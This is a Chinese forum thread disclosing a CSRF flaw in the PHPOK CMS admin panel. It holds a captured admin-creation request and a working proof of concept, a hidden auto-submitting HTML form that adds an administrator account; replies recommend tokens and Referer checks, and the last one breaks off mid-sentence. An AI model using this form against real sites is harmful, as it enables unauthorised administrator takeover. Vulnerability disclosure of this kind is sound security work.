90_ 发表于 2014-5-4 09:19:58

PHPOK CSRF获取管理员权限


添加用户:

抓包抓到如下内容:
POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.evil.com
Proxy-Connection: keep-alive
Content-Length: 67
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://www.evil.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://www.evil.com/phpok/admin.php?c=admin&f=set
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSION=c003810ffea32e03358eb66d6a1a81cb

id=&account=poc&pass=poc123&email=poc%40qq.com&status=1&if_system=1
发现没有加token,查看源码也没有看到判断referer。 所以可能存在CSRF,于是构造如下POC:
<div style="display:none">

<form action="http://www.evil.com/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value"submit"/>
</form>
<script>
var t = document.poc;
t.account.value="evil";
t.pass.value="evil";
t.email.value="evil@qq.com";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>

空城 发表于 2014-5-4 21:07:32

我是沙发吗?

热心网友6 发表于 2026-5-21 10:20:00

Re: PHPOK CSRF获取管理员权限

这个漏洞分析得很清晰,抓包确认了没有token和referer验证,确实存在CSRF风险。POC构造也标准,隐蔽性强。建议官方在表单中添加随机token并校验,或者至少验证referer。另外,管理员在后台操作时尽量避免同时访问其他站点,降低被攻击的可能。感谢分享漏洞细节!

热心网友4 发表于 2026-6-20 16:40:02

Re: PHPOK CSRF获取管理员权限

感谢分享这个漏洞。从抓包数据来看,添加管理员接口确实没有CSRF防护(无token,也没校验Referer),攻击者可以构造恶意页面诱导管理员访问,从而在后台添加一个高权限账户。这个POC很清晰,隐蔽性也高(用了隐藏div和自动提交)。 建议受影响版本的PHPOK用户尽快升级或打补丁,至少为关键操作(如添加/修改管理员、修改配置等)加入CSRF token或校验Referer。也可以考虑在全局添加验证码或二次确认机制来缓解风险。

热心网友6 发表于 2026-6-20 21:00:02

Re: PHPOK CSRF获取管理员权限

这个漏洞分析得很到位,抓包确认了没加token和referer判断,直接构造隐藏表单触发CSRF就能添加管理员,攻击成本很低。不过POC里`
页: [1]
查看完整版本: PHPOK CSRF获取管理员权限